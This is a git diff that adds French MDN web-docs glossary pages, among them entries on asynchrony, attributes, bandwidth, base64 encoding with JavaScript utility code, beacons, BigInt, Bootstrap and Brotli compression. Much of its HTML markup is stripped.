diff --git a/files/fr/glossary/asynchronous/index.html b/files/fr/glossary/asynchronous/index.html new file mode 100644 index 0000000000..fc2a704148 --- /dev/null +++ b/files/fr/glossary/asynchronous/index.html @@ -0,0 +1,23 @@ +--- +title: Asynchrone +slug: Glossaire/Asynchronous +tags: + - Glossaire + - Mécanismes web + - Web +translation_of: Glossary/Asynchronous +--- +

Asynchrone fait référence à un environnement de communication où chaque partie reçoit et traite les messages lorsque c'est possible ou plus pratique, au lieu de le faire au même moment.

+ +

Il peut être utilisé pour décrire un environnement de communication humain comme le courriel : l'expéditeur envoie un courriel et le destinataire se contente d'y répondre quand cela lui convient ; il n'a pas à répondre immédiatement.

+ +

Il peut également être utilisé pour décrire un environnement de communication informatique, par exemple {{domxref("Ajax")}} est un mécanisme asynchrone pour demander de petits bits de données sur HTTP ; le résultat est renvoyé lorsque la réponse est complète, pas immédiatement.

+ +

En apprendre plus

+ +

Référence technique

+ + diff --git a/files/fr/glossary/atag/index.html b/files/fr/glossary/atag/index.html new file mode 100644 index 0000000000..1c3c9731b0 --- /dev/null +++ b/files/fr/glossary/atag/index.html @@ -0,0 +1,27 @@ +--- +title: ATAG +slug: Glossaire/ATAG +tags: + - ATAG + - Accessibilité + - Conception accessibilité + - Glossaire + - Règles de création d'outils accessibles +translation_of: Glossary/ATAG +--- +

Authoring Tool Accessibility Guidelines (ATAG) est une recommandation {{Glossary("W3C")}} pour construire des outils de création-accessibilité qui produisent des contenus accessibles.

+ +

Pour approfondir

+ +

Culture générale

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/attribute/index.html b/files/fr/glossary/attribute/index.html new file mode 100644 index 0000000000..54926f8b1f --- /dev/null +++ b/files/fr/glossary/attribute/index.html @@ -0,0 +1,34 @@ +--- +title: Attribut +slug: Glossaire/Attribut +tags: + - Encodage + - Glossaire + - HTML +translation_of: Glossary/Attribute +--- +

Un attribut vient compléter un {{Glossary("tag")}}. Sa présence peut être requise ou facultative. Il peut fournir des méta-informations ou changer le comportement du tag. La syntaxe est name=value où name est l'identificateur de l'attribut et value sa valeur attribuée.

+ +
<!-- Voici un exemple de tag sans attribut -->
+<h2>Titre</h2>
+
+<!-- Le même tag avec un attribut -->
+<!-- Le titre apparaît désormais sur un fond jaune -->
+<h2 style="background-color:yellow";>Titre</h2>
+ +

On peut aussi trouver des attributs sans valeur quand elle n'est pas nécessaire.

+ +
<!-- Un tag avec un attribut indiquant que le champ est requis -->
+<input type="text" required>
+
+<!-- Cette notation fonctionne aussi -->
+<input type="text" required="required">
+ +

Pour approfondir

+ +

Informations techniques

+ + diff --git a/files/fr/glossary/bandwidth/index.html b/files/fr/glossary/bandwidth/index.html new file mode 100644 index 0000000000..a0e833134b --- /dev/null +++ b/files/fr/glossary/bandwidth/index.html @@ -0,0 +1,15 @@ +--- +title: Bande passante +slug: Glossaire/Bandwidth +tags: + - Glossaire + - Infrastructure +translation_of: Glossary/Bandwidth +--- +

La bande passante est la mesure de la quantité d'informations qui peut passer dans une connexion de données sur une période de temps donnée. Elle est généralement exprimée en multiples de bits-par-seconde (bps), par exemple mégabits-par-seconde (Mbps) ou gigabits-par-seconde (Gbps).

+ +

Pour en savoir plus

+ +
    +
  • {{Interwiki("wikipedia", "Bande passante")}} sur Wikipedia
    • +
diff --git a/files/fr/glossary/base64/index.html b/files/fr/glossary/base64/index.html new file mode 100644 index 0000000000..ae762bf333 --- /dev/null +++ b/files/fr/glossary/base64/index.html @@ -0,0 +1,343 @@ +--- +title: Décoder et encoder en base64 +slug: Web/API/WindowBase64/Décoder_encoder_en_base64 +tags: + - Advanced + - Base64 + - JavaScript + - Reference + - Typed Arrays + - URI + - URL + - Unicode Problem + - atob() + - btoa() +translation_of: Glossary/Base64 +--- +

Base64 est un groupe de schéma pour encoder des données binaires sous forme d'un texte au format ASCII grâce à la représentation de ces données en base 64. Le terme base64 vient à l'origine de l'encodage utilisé pour transférer certains contenus MIME.

+ +

Les schémas d'encodage en base64 sont principalement utilisés lorsqu'il s'agit d'enregistrer ou d'envoyer des données binaires via un media qui a été conçu pour gérer du texte. Cette transformation permet de conserver l'intégrité et la véracité des données envoyées lors du transport. Base64 est utilisé par plusieurs applications, notamment celles qui gèrent les courriels avec MIME, et le stockage de données complexes en XML.

+ +

Pour JavaScript, il existe deux fonctions utilisées pour encoder et décoder des chaînes en base64 :

+ +
    +
  • {{domxref("window.atob","atob()")}}
    • +
  • {{domxref("window.btoa","btoa()")}}
    • +
+ +

La fonction atob() permet de décoder des données encodées en une chaîne de caractères en base 64. La fonction btoa(), quant à elle, permet de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.

+ +

Les deux méthodes, atob() et btoa(), fonctionnent sur des chaînes de caractères. Si vous voulez utiliser des ArrayBuffers, lisez ce paragraphe.

+ + + + + + + + +
+

Documentation

+ +
+
URIs de données
+
Les URIs de données, définies par la RFC 2397, permettent aux créateurs de contenus d'intégrer des fichiers en ligne dans des documents.
+
Base64
+
Article Wikipédia sur l'encodage en base64.
+
{{domxref("window.atob","atob()")}}
+
Méthode permettant de décoder une chaîne de donnée qui a été encodée en base64.
+
{{domxref("window.btoa","btoa()")}}
+
Méthode permettant de créer une chaîne ASCII en base64 à partir d'une « chaîne » de données binaires.
+
Le « problème Unicode »
+
Pour la plupart des navigateurs, l'utilisation de btoa() sur une chaîne de caractères Unicode entraînera une exception Character Out Of Range. Ce paragraphe indique quelques solutions.
+
URIScheme
+
Une liste de schémas URI supportés par Mozilla.
+
StringView
+
Dans cet article, nous publions une bibliothèque dont les buts sont : +
    +
  • de créer une interface pour les chaînes de caractères à la façon du langage C (i.e. un tableau de code de caractères — ArrayBufferView en JavaScript) basée sur l'interface JavaScript ArrayBuffer,
    • +
  • de créer un ensemble de méthodes pour ces objets qui fonctionnent sur des tableaux de nombres plutôt que sur chaînes de caractères JavaScript immuables,
    • +
  • de travailler avec d'autres encodages Unicode, y compris ceux différent d'UTF-16 qui est l'encodage par défaut de JavaScript pour les DOMString.
    • +
+
+
+ +

Voir toutes les pages sur base64...

+ 		+

Outils

+ + + +

Voir toutes les pages sur base64...

+ + + + +
+ +

Le « problème Unicode »

+ +

Les objets DOMString sont des chaînes de caractères encodées sur 16 bits. Pour la plupart des navigateurs, lorsqu'on appelle window.btoa sur une chaîne Unicode, cela entraîne une exception Character Out Of Range si la représentation du caractère dépasse les 8 bits ASCII. Deux méthodes existent pour résoudre le problème :

+ +
    +
  • échapper la chaîne dans son intégralité puis l'encoder,
    • +
  • convertir la chaîne UTF-16 DOMString en un tableau UTF-8 de caractères puis l'encoder.
    • +
+ +

Voici ces deux méthodes :

+ +

Première solution  – échapper la chaîne avant de l'encoder

+ +
function utf8_to_b64( str ) {
+  return window.btoa(unescape(encodeURIComponent( str )));
+}
+
+function b64_to_utf8( str ) {
+  return decodeURIComponent(escape(window.atob( str )));
+}
+
+// Usage:
+utf8_to_b64('✓ à la mode'); // "4pyTIMOgIGxhIG1vZGU="
+b64_to_utf8('4pyTIMOgIGxhIG1vZGU='); // "✓ à la mode"
+ +

Cette solution a été proposée dans un article de Johan Sundström.

+ +

Seconde solution – réécrire atob() et btoa() en utilisant des TypedArray avec de l'UTF-8

+ +
Note : Le code suivant peut également être utilisé pour obtenir un ArrayBuffer depuis une chaîne en base 64 (et vice-versa, voir ci-après). Pour un article concernant une bibliothèque complète sur les tableaux typés, voir cet article.
+ +
"use strict";
+
+/*\
+|*|
+|*|  utilitairezs de manipulations de chaînes base 64 / binaires / UTF-8
+|*|
+|*|  https://developer.mozilla.org/fr/docs/Décoder_encoder_en_base64
+|*|
+\*/
+
+/* Décoder un tableau d'octets depuis une chaîne en base64 */
+
+function b64ToUint6 (nChr) {
+
+  return nChr > 64 && nChr < 91 ?
+      nChr - 65
+    : nChr > 96 && nChr < 123 ?
+      nChr - 71
+    : nChr > 47 && nChr < 58 ?
+      nChr + 4
+    : nChr === 43 ?
+      62
+    : nChr === 47 ?
+      63
+    :
+      0;
+
+}
+
+function base64DecToArr (sBase64, nBlocksSize) {
+
+  var
+    sB64Enc = sBase64.replace(/[^A-Za-z0-9\+\/]/g, ""), nInLen = sB64Enc.length,
+    nOutLen = nBlocksSize ? Math.ceil((nInLen * 3 + 1 >> 2) / nBlocksSize) * nBlocksSize : nInLen * 3 + 1 >> 2, taBytes = new Uint8Array(nOutLen);
+
+  for (var nMod3, nMod4, nUint24 = 0, nOutIdx = 0, nInIdx = 0; nInIdx < nInLen; nInIdx++) {
+    nMod4 = nInIdx & 3;
+    nUint24 |= b64ToUint6(sB64Enc.charCodeAt(nInIdx)) << 18 - 6 * nMod4;
+    if (nMod4 === 3 || nInLen - nInIdx === 1) {
+      for (nMod3 = 0; nMod3 < 3 && nOutIdx < nOutLen; nMod3++, nOutIdx++) {
+        taBytes[nOutIdx] = nUint24 >>> (16 >>> nMod3 & 24) & 255;
+      }
+      nUint24 = 0;
+
+    }
+  }
+
+  return taBytes;
+}
+
+/* encodage d'un tableau en une chaîne en base64 */
+
+function uint6ToB64 (nUint6) {
+
+  return nUint6 < 26 ?
+      nUint6 + 65
+    : nUint6 < 52 ?
+      nUint6 + 71
+    : nUint6 < 62 ?
+      nUint6 - 4
+    : nUint6 === 62 ?
+      43
+    : nUint6 === 63 ?
+      47
+    :
+      65;
+
+}
+
+function base64EncArr (aBytes) {
+
+  var nMod3 = 2, sB64Enc = "";
+
+  for (var nLen = aBytes.length, nUint24 = 0, nIdx = 0; nIdx < nLen; nIdx++) {
+    nMod3 = nIdx % 3;
+    if (nIdx > 0 && (nIdx * 4 / 3) % 76 === 0) { sB64Enc += "\r\n"; }
+    nUint24 |= aBytes[nIdx] << (16 >>> nMod3 & 24);
+    if (nMod3 === 2 || aBytes.length - nIdx === 1) {
+      sB64Enc += String.fromCharCode(uint6ToB64(nUint24 >>> 18 & 63), uint6ToB64(nUint24 >>> 12 & 63), uint6ToB64(nUint24 >>> 6 & 63), uint6ToB64(nUint24 & 63));
+      nUint24 = 0;
+    }
+  }
+
+  return sB64Enc.substr(0, sB64Enc.length - 2 + nMod3) + (nMod3 === 2 ? '' : nMod3 === 1 ? '=' : '==');
+
+}
+
+/* Tableau UTF-8 en DOMString et vice versa */
+
+function UTF8ArrToStr (aBytes) {
+
+  var sView = "";
+
+  for (var nPart, nLen = aBytes.length, nIdx = 0; nIdx < nLen; nIdx++) {
+    nPart = aBytes[nIdx];
+    sView += String.fromCharCode(
+      nPart > 251 && nPart < 254 && nIdx + 5 < nLen ? /* six bytes */
+        /* (nPart - 252 << 32) n'est pas possible pour ECMAScript donc, on utilise un contournement... : */
+        (nPart - 252) * 1073741824 + (aBytes[++nIdx] - 128 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 247 && nPart < 252 && nIdx + 4 < nLen ? /* five bytes */
+        (nPart - 248 << 24) + (aBytes[++nIdx] - 128 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 239 && nPart < 248 && nIdx + 3 < nLen ? /* four bytes */
+        (nPart - 240 << 18) + (aBytes[++nIdx] - 128 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 223 && nPart < 240 && nIdx + 2 < nLen ? /* three bytes */
+        (nPart - 224 << 12) + (aBytes[++nIdx] - 128 << 6) + aBytes[++nIdx] - 128
+      : nPart > 191 && nPart < 224 && nIdx + 1 < nLen ? /* two bytes */
+        (nPart - 192 << 6) + aBytes[++nIdx] - 128
+      : /* nPart < 127 ? */ /* one byte */
+        nPart
+    );
+  }
+
+  return sView;
+
+}
+
+function strToUTF8Arr (sDOMStr) {
+
+  var aBytes, nChr, nStrLen = sDOMStr.length, nArrLen = 0;
+
+  /* mapping... */
+
+  for (var nMapIdx = 0; nMapIdx < nStrLen; nMapIdx++) {
+    nChr = sDOMStr.charCodeAt(nMapIdx);
+    nArrLen += nChr < 0x80 ? 1 : nChr < 0x800 ? 2 : nChr < 0x10000 ? 3 : nChr < 0x200000 ? 4 : nChr < 0x4000000 ? 5 : 6;
+  }
+
+  aBytes = new Uint8Array(nArrLen);
+
+  /* transcription... */
+
+  for (var nIdx = 0, nChrIdx = 0; nIdx < nArrLen; nChrIdx++) {
+    nChr = sDOMStr.charCodeAt(nChrIdx);
+    if (nChr < 128) {
+      /* one byte */
+      aBytes[nIdx++] = nChr;
+    } else if (nChr < 0x800) {
+      /* two bytes */
+      aBytes[nIdx++] = 192 + (nChr >>> 6);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x10000) {
+      /* three bytes */
+      aBytes[nIdx++] = 224 + (nChr >>> 12);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x200000) {
+      /* four bytes */
+      aBytes[nIdx++] = 240 + (nChr >>> 18);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else if (nChr < 0x4000000) {
+      /* five bytes */
+      aBytes[nIdx++] = 248 + (nChr >>> 24);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    } else /* if (nChr <= 0x7fffffff) */ {
+      /* six bytes */
+      aBytes[nIdx++] = 252 + /* (nChr >>> 32) is not possible in ECMAScript! So...: */ (nChr / 1073741824);
+      aBytes[nIdx++] = 128 + (nChr >>> 24 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 18 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 12 & 63);
+      aBytes[nIdx++] = 128 + (nChr >>> 6 & 63);
+      aBytes[nIdx++] = 128 + (nChr & 63);
+    }
+  }
+
+  return aBytes;
+
+}
+
+ +

Tests

+ +
/* Tests */
+
+var entréeChaîne = "base64 \u2014 Mozilla Developer Network";
+
+var entréeUTF8 = strToUTF8Arr(entréeChaîne);
+
+var base64 = base64EncArr(entréeUTF8);
+
+alert(base64);
+
+var sortieUT8 = base64DecToArr(base64);
+
+var sortieChaîne = UTF8ArrToStr(sortieUT8);
+
+alert(sortieChaîne);
+ +

Annexe : Décoder une chaîne en base64 en un objet Uint8Array ou ArrayBuffer

+ +

Ces fonctions permettent de créer des objets uint8Arrays ou arrayBuffers à partir de chaînes en base64 :

+ +
var monTableau = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw=="); // "Base 64 \u2014 Mozilla Developer Network"
+
+var monBuffer = base64DecToArr("QmFzZSA2NCDigJQgTW96aWxsYSBEZXZlbG9wZXIgTmV0d29yaw==").buffer; // "Base 64 \u2014 Mozilla Developer Network"
+
+alert(monBuffer.byteLength);
+ +
Note : La fonction base64DecToArr(sBase64[, nTailleBloc]) renvoie un uint8Array d'octets. Si vous souhaitez utiliser un tampon mémoire de 16 bits, 32 bits, 64 bits pour les données brutes, utilisez l'argument nTailleBloc, qui représente le nombre d'octets dont la propriété uint8Array.buffer.bytesLength doit être un multiple (1 ou pas de paramètre pour l'ASCII, les chaînes binaires ou les chaînes encodées UTF-8, 2 pour les chaînes UTF-16, 4 pour les chaînes UTF-32).
+ +

Pour une bibliothèque plus complète, voir StringView – une représentation des chaînes de caractères semblable à celle du langage C, basée sur les tableaux typés

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/baseline/index.html b/files/fr/glossary/baseline/index.html new file mode 100644 index 0000000000..c4add007de --- /dev/null +++ b/files/fr/glossary/baseline/index.html @@ -0,0 +1,30 @@ +--- +title: Ligne de base +slug: Glossaire/ligne_de_base +tags: + - Alignement + - CSS + - Glossaire + - SVG + - Typographie +translation_of: Glossary/baseline +--- +

La ligne de base (baseline en anglais) est une expression utilisée en typographie européenne et ouest-asiatique pour désigner une ligne imaginaire sur laquelle les caractères d’une police reposent.

+ +

Les jambages des caractères tels que g et p s’étendent en dessous de cette ligne. Les {{Glossary("glyphe", "glyphes")}} avec des extensions supérieure et inférieure arrondies — comme le C ou le 3 — s’étendent légèrement en dessous de la ligne de base.

+ +

Les écritures est-asiatique n’ont pas de ligne de base. Leurs glyphes sont placés dans une boite carrée sans jambage inférieur ou supérieur.

+ +

En apprendre davantage

+ +

Culture générale

+ + + +

Référence technique

+ + diff --git a/files/fr/glossary/beacon/index.html b/files/fr/glossary/beacon/index.html new file mode 100644 index 0000000000..905566d8eb --- /dev/null +++ b/files/fr/glossary/beacon/index.html @@ -0,0 +1,14 @@ +--- +title: beacon +slug: Glossaire/beacon +translation_of: Glossary/beacon +--- +

Un beacon Web est un petit objet, tel qu'un gif de 1 pixel, intégré au balisage, utilisé pour communiquer des informations au serveur Web ou à des serveurs tiers. Les beacons sont généralement inclus pour fournir des informations sur l'utilisateur à des fins statistiques. Les beacons sont souvent inclus dans des scripts tiers pour collecter des données utilisateur, des mesures de performance et des rapports d'erreurs.

+ +

Il existe un projet de spécification de beacon W3C pour standardiser le beacon en tant qu'interface pour transférer de manière asynchrone des données HTPP de l'agent utilisateur vers un serveur Web avant le chargement de la page sans impact négatif sur les performances.

+ +

Voir aussi

+ + diff --git a/files/fr/glossary/bidi/index.html b/files/fr/glossary/bidi/index.html new file mode 100644 index 0000000000..49cf62bf89 --- /dev/null +++ b/files/fr/glossary/bidi/index.html @@ -0,0 +1,25 @@ +--- +title: BiDi +slug: Glossaire/BiDi +tags: + - Accessibilité + - Glossaire + - Internationalisation + - Langues +translation_of: Glossary/BiDi +--- +

BiDi (BiDirectionnel) fait référence à un document contenant à la fois du texte se lisant de droite à gauche et du texte se lisant de gauche à droite. Même lorsque les deux directions se trouvent dans le même paragraphe, le texte de chaque langue doit apparaître dans son propre sens.

+ +

Pour en savoir plus

+ +

Culture générale

+ +
    +
  • {{Interwiki("wikipedia", "Texte bidirectionnel")}} sur Wikipédia
    • +
+ +

Référence technique

+ + diff --git a/files/fr/glossary/bigint/index.html b/files/fr/glossary/bigint/index.html new file mode 100644 index 0000000000..7de9471d67 --- /dev/null +++ b/files/fr/glossary/bigint/index.html @@ -0,0 +1,29 @@ +--- +title: BigInt +slug: Glossaire/BigInt +tags: + - BigInt + - Glossaire + - JavaScript + - Reference + - format de précision arbitraire +translation_of: Glossary/BigInt +--- +

Dans {{Glossary("JavaScript")}}, BigInt est un type de données numériques qui peut représenter des entiers au format de précision arbitraire. Dans d'autres langages de programmation, différents types numériques peuvent exister, par exemple : Entiers, Flottants, Doubles, ou Bignums.

+ +

Apprendre plus

+ +

Culture générale

+ +
    +
  • +

    {{Interwiki("wikipedia", "Data type#Numeric_types", "Numeric types")}} sur Wikipedia

    +
    • +
+ +

Référence technique

+ +
    +
  • La structure de données JavaScript : BigInt
    • +
  • L'objet global JavaScript {{jsxref("BigInt")}}
    • +
diff --git a/files/fr/glossary/blink/index.html b/files/fr/glossary/blink/index.html new file mode 100644 index 0000000000..65b149377a --- /dev/null +++ b/files/fr/glossary/blink/index.html @@ -0,0 +1,19 @@ +--- +title: Blink +slug: Glossaire/Blink +tags: + - Agencement + - Glossaire + - Infrastructure +translation_of: Glossary/Blink +--- +

Blink est un moteur de rendu HTML libre basé sur {{Glossary("WebKit")}} et développé principalement par Google dans le cadre du projet Chromium (et par conséquent présent dans Chrome aussi). Plus particulièrement, Blink est une branche de la bibliothèque WebCore de WebKit qui gère l'agencement, le rendu et le {{Glossary("DOM")}}.

+ +

Pour approfondir

+ +

Culture générale

+ + diff --git a/files/fr/glossary/block/block_(css)/index.html b/files/fr/glossary/block/block_(css)/index.html deleted file mode 100644 index 9d1571b42c..0000000000 --- a/files/fr/glossary/block/block_(css)/index.html +++ /dev/null @@ -1,22 +0,0 @@ ---- -title: Block (CSS) -slug: Glossary/Block/Block_(CSS) -tags: - - CSS - - Conception - - Encodage - - Glossaire - - HTML -translation_of: Glossary/Block/CSS ---- -

Sur une page web, un block est un {{glossary("Element","élément")}} {{glossary("HTML")}} qui apparaît sous l'élément précédent et au-dessus du suivant (communément connu comme un block-level element ). Par exemple, {{htmlelement("p")}} est par défaut un élément de type block, alors que {{htmlelement("a")}} est un  inline element - vous pouvez placer plusieurs liens les uns à côté des autres dans votre source HTML et ils seront placés sur la même ligne dans la sortie rendue.

- -

En utilisant la propriété CSS {{cssxref("display")}}, il est possible de définir si un objet doit être affiché en bloc ou en ligne (block ou inline) ; les blocs sont également soumis aux effets des schémas de positionnement et de l'utilisation de la propriété  {{cssxref("Position","position")}} . 

- -

Pour en savoir plus

- -

Connaissances générales

- - diff --git a/files/fr/glossary/block/css/index.html b/files/fr/glossary/block/css/index.html new file mode 100644 index 0000000000..9d1571b42c --- /dev/null +++ b/files/fr/glossary/block/css/index.html @@ -0,0 +1,22 @@ +--- +title: Block (CSS) +slug: Glossary/Block/Block_(CSS) +tags: + - CSS + - Conception + - Encodage + - Glossaire + - HTML +translation_of: Glossary/Block/CSS +--- +

Sur une page web, un block est un {{glossary("Element","élément")}} {{glossary("HTML")}} qui apparaît sous l'élément précédent et au-dessus du suivant (communément connu comme un block-level element ). Par exemple, {{htmlelement("p")}} est par défaut un élément de type block, alors que {{htmlelement("a")}} est un  inline element - vous pouvez placer plusieurs liens les uns à côté des autres dans votre source HTML et ils seront placés sur la même ligne dans la sortie rendue.

+ +

En utilisant la propriété CSS {{cssxref("display")}}, il est possible de définir si un objet doit être affiché en bloc ou en ligne (block ou inline) ; les blocs sont également soumis aux effets des schémas de positionnement et de l'utilisation de la propriété  {{cssxref("Position","position")}} . 

+ +

Pour en savoir plus

+ +

Connaissances générales

+ + diff --git a/files/fr/glossary/block_cipher_mode_of_operation/index.html b/files/fr/glossary/block_cipher_mode_of_operation/index.html new file mode 100644 index 0000000000..df8532d22f --- /dev/null +++ b/files/fr/glossary/block_cipher_mode_of_operation/index.html @@ -0,0 +1,13 @@ +--- +title: Block cipher mode of operation +slug: Glossaire/Block_cipher_mode_of_operation +tags: + - Cryptographie + - Glossaire + - Mode de fonctionnement de chiffrement par bloc + - Sécurité +translation_of: Glossary/Block_cipher_mode_of_operation +--- +

Un mode de fonctionnement de chiffrement par bloc, généralement appelé simplement "mode" dans le contexte, spécifie comment un chiffrement par bloc doit être utilisé pour chiffrer ou déchiffrer les messages qui sont plus longs que la taille du bloc.

+ +

La plupart des algorithmes à clé symétrique actuellement utilisés sont des chiffrements par blocs: cela signifie qu'ils chiffrent les données un bloc à la fois. La taille de chaque bloc est fixe et déterminée par l'algorithme : par exemple AES utilise des blocs de 16 octets. Les chiffrements de bloc sont toujours utilisés avec un mode, qui spécifie comment chiffrer en toute sécurité les messages plus longs que la taille du bloc. Par exemple, AES est un chiffrement, tandis que CTR, CBC et GCM sont tous des modes. L'utilisation d'un mode inapproprié ou une utilisation incorrecte d'un mode peut compromettre complètement la sécurité fournie par le chiffrement sous-jacent.

diff --git a/files/fr/glossary/boolean/index.html b/files/fr/glossary/boolean/index.html new file mode 100644 index 0000000000..450e535aa5 --- /dev/null +++ b/files/fr/glossary/boolean/index.html @@ -0,0 +1,48 @@ +--- +title: Booléen +slug: Glossaire/Boolean +tags: + - Booléen + - Glossaire + - JavaScript + - Langages de programmation + - Types de données +translation_of: Glossary/Boolean +--- +

En informatique, un booléen est un type de données logique qui ne peut prendre que deux valeurs : true (vrai) ou false (faux). Par exemple, en JavaScript, les conditions booléennes sont souvent ouvertes pour décider quelle section de code doit être exécutée (comme dans l'instruction If) ou répétée (comme pour une boucle For).

+ +
/* JavaScript instruction if */
+if (boolean conditional) {
+   // code à exécuter si la condition est true (vrai)
+}
+
+if (boolean conditional) {
+  console.log("boolean conditional resolved to true");
+} else {
+  console.log("boolean conditional resolved to false");
+}
+
+
+/* JavaScript boucle for */
+for (control variable; boolean conditional; counter) {
+  //  code à exécuter répétitivement si la condition est vraie 
+}
+
+for (var i=0; i < 4; i++) {
+  console.log("I print only when the boolean conditional is true");
+}
+ +

Pour Approfondir

+ +

Culture générale

+ + + +

Informations techniques

+ + diff --git a/files/fr/glossary/boot2gecko/index.html b/files/fr/glossary/boot2gecko/index.html new file mode 100644 index 0000000000..1ea0511d18 --- /dev/null +++ b/files/fr/glossary/boot2gecko/index.html @@ -0,0 +1,18 @@ +--- +title: Boot2Gecko +slug: Glossaire/Boot2Gecko +tags: + - Boot2Gecko + - Firefox OS + - Glossaire + - Infrastructure + - Introduction +translation_of: Glossary/Boot2Gecko +--- +

Boot2Gecko (B2G) est le nom de code pour {{glossary("Firefox OS")}} et fait référence aux éléments de construction  qui n'ont pas encore reçu la marque Firefox OS officielle. (Firefox OS était aussi souvent appelé Boot2Gecko avant que le projet ait un nom officiel.)

+ +

En savoir plus

+ +
    +
  • Découvrez bien plus à propos de Boot2Gecko dans la zone Firefox OS de la MDN.
    • +
diff --git a/files/fr/glossary/bootstrap/index.html b/files/fr/glossary/bootstrap/index.html new file mode 100644 index 0000000000..2a60958125 --- /dev/null +++ b/files/fr/glossary/bootstrap/index.html @@ -0,0 +1,22 @@ +--- +title: Bootstrap +slug: Glossaire/Bootstrap +tags: + - Bootstrap + - CSS + - Glossaire + - Intro + - framework +translation_of: Glossary/Bootstrap +--- +

Bootstrap est un framework {{Glossary("HTML")}}, CSS, et {{Glossary("JavaScript")}} gratuit et open source pour créer rapidement des sites Web réactifs.

+ +

Initialement, Bootstrap s'appelait Twitter Blueprint et a été développé par une équipe travaillant chez Twitter. Il prend en charge la conception réactive et propose des modèles de conception prédéfinis que vous pouvez utiliser directement ou personnalier selon vos besoin avec votre code. Vous n'avez pas non plus à vous soucier de la compatibilité avec les autres navigateurs, car Bootstrap est compatible avec tous les navigateurs modernes et les nouvelles versions de {{glossary("Microsoft Internet Explorer", "Internet Explorer")}}.

+ + diff --git a/files/fr/glossary/bounding_box/index.html b/files/fr/glossary/bounding_box/index.html new file mode 100644 index 0000000000..443c2d294c --- /dev/null +++ b/files/fr/glossary/bounding_box/index.html @@ -0,0 +1,11 @@ +--- +title: Rectangle à limitation minimum +slug: Glossaire/rectangle_limitation_minimum +tags: + - Bounding Box + - Conception + - Encodage + - Glossaire +translation_of: Glossary/bounding_box +--- +

Le rectangle à limitation minimum d'un élément est le plus petit rectangle possible (aligné avec les axes du système de coordonnées de l'utilisateur de cet élément) qui inclut cet élément et ses descendants.

diff --git a/files/fr/glossary/breadcrumb/index.html b/files/fr/glossary/breadcrumb/index.html new file mode 100644 index 0000000000..cd642c1e7f --- /dev/null +++ b/files/fr/glossary/breadcrumb/index.html @@ -0,0 +1,21 @@ +--- +title: Breadcrumb +slug: Glossaire/Breadcrumb +tags: + - Accessibilité + - Chercher + - Glossaire + - Navigation + - Plan du site + - Site map + - breadcrumb + - fil d'Ariane +translation_of: Glossary/Breadcrumb +--- +

Un breadcrumb, ou fil d'Ariane, est une aide à la navigation qui est généralement placée entre l'en-tête d'un site et le contenu principal, affichant soit une hiérarchie de la page actuelle par rapport à la structure du site, du niveau supérieur à la page actuelle, soit une liste des liens suivis par l'utilisateur pour accéder à la page en cours, dans l'ordre visité.

+ +

Un breadcrumb d'emplacement pour ce document peut ressembler à ceci :

+ +

MDN > Glossaire > Breadcrumb

+ +

Les fil d'Ariane permettent aux utilisateurs de connaître leur emplacement sur un site Web. Ce type de navigation, s'il est effectué correctement, aide les utilisateurs à savoir où ils se trouvent sur un site et comment ils y sont arrivés. Ils peuvent également aider un utilisateur à revenir là où il était auparavant et réduire le nombre de clics nécessaires pour accéder à une page de niveau supérieur.

diff --git a/files/fr/glossary/brotli_compression/index.html b/files/fr/glossary/brotli_compression/index.html new file mode 100644 index 0000000000..a90a85b1ca --- /dev/null +++ b/files/fr/glossary/brotli_compression/index.html @@ -0,0 +1,31 @@ +--- +title: Brotli +slug: Glossaire/brotli_compression +tags: + - Brotli + - Glossaire + - Performance Web + - Reference + - compression +translation_of: Glossary/brotli_compression +--- +

Brotli est un algorithme de compression sans perte à usage général. Il compresse les données à l'aide d'une combinaison d'une variant moderne de l'algorithme LZ77, du codage Huffman, et de la modélisation de contexte de second ordre, fournissant un taux de compression comparable aux meilleures méthodes de compression à usage général actuellement disponibles. Brotli fournit de meilleurs taux de compression que gzip et les vitesses de dégonflage sont comparables, mais la compression brotli est un processus plus lent que la compression Gzip, donc gzip peut être une meilleure option pour la compression de contenue non-cachable.

+ +

Brotli est compatible avec la plupart des navigateurs modernes, mais vous pouvez envisager une solution de secours.

+ +

Apprendre plus

+ + + + diff --git a/files/fr/glossary/browser/index.html b/files/fr/glossary/browser/index.html new file mode 100644 index 0000000000..484c26cc70 --- /dev/null +++ b/files/fr/glossary/browser/index.html @@ -0,0 +1,27 @@ +--- +title: Navigateur +slug: Glossaire/Navigateur +tags: + - Glossaire + - Navigation +translation_of: Glossary/Browser +--- +

Un navigateur internet est un programme informatique qui reçoit et affiche les pages du {{Glossary("World Wide Web","Web")}}, et permet aux utilisateurs d'accéder à d'autres pages au travers d'{{Glossary("hyperlink","hyperliens")}}.

+ +

Pour approfondir

+ +

Connaissances générales

+ + + +

Télécharger un navigateur

+ + diff --git a/files/fr/glossary/browsing_context/index.html b/files/fr/glossary/browsing_context/index.html new file mode 100644 index 0000000000..bc9edefd44 --- /dev/null +++ b/files/fr/glossary/browsing_context/index.html @@ -0,0 +1,21 @@ +--- +title: Contexte de navigation +slug: Glossaire/Browsing_context +tags: + - Glossaire +translation_of: Glossary/Browsing_context +--- +

